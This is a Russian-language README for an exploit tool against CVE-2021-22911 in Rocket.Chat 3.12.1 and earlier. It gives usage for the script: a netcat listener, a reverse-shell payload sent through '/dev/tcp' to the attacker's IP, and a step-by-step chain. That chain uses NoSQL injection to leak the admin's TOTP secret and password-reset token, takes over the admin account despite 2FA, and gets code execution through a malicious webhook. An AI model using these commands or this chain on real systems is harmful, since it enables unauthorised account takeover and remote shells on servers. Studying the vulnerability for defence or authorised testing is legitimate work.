CVE-2021-22911 — Rocket.Chat 3.12.1 RCE (импровизированный)

Описание

Эксплуатирует уязвимость NoSQL-инъекции до аутентификации в Rocket.Chat 3.12.1, чтобы раскрыть TOTP-секрет администратора и токен сброса пароля, захватить учётную запись администратора и добиться RCE через вредоносную webhook-интеграцию.

Затронутая версия

Rocket.Chat <= 3.12.1

Требования

pip install -r requirements.txt

Установка — сначала запустите слушатель

Перед запуском эксплойта запустите netcat-слушатель в отдельном терминале, чтобы поймать входящую обратную оболочку:

nc -lvnp 4444

Держите этот терминал открытым. После успешного запуска эксплойта ваша оболочка появится здесь.

Использование

python3 pwn_rocketchat.py \
  -t 'http://TARGET:3000' \
  -u 'USERNAME' \
  -p 'PASSWORD' \
  -e '[email protected]' \
  -a 'adminusername' \
  -c '/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

Аргументы

Как это работает

1. Выполняет аутентификацию как пользователь с низкими привилегиями через протокол DDP
2. Раскрывает TOTP-секрет администратора через NoSQL-инъекцию $where
3. Инициирует отправку письма о сбросе пароля администратора
4. Раскрывает токен сброса пароля администратора через NoSQL-инъекцию $where
5. Сбрасывает пароль администратора, обходя 2FA, используя раскрытый TOTP-секрет
6. Создаёт вредоносную webhook-интеграцию и запускает RCE

Отказ от ответственности

Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом. Всегда получайте надлежащее письменное разрешение перед тестированием.

Ссылки

• https://nvd.nist.gov/vuln/detail/CVE-2021-22911